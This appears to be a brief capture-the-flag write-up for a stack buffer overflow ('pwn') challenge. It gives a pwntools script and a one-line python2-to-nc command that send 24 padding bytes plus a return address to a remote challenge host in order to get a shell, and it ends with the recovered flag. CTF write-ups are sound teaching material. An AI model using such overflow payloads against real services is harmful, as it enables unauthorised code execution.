As promised a pwn challenge...
nc 107.191.51.129 5000
from pwn import *
shell = remote('107.191.51.129',5000)
shell.sendline(b'A'* 24 + p64(0x4011b3))
shell.interactive()
One line
python2 -c 'print "A" * 24 + "\\xb3\\x11\\x40\\x00\\x00\\x00\\x00\\x00"' | nc 107.191.51.129 5000
Flag : wsc{Th0s3_p3sky_STACKS!!!}
What type of string again?
nc 107.191.51.129 5001 string0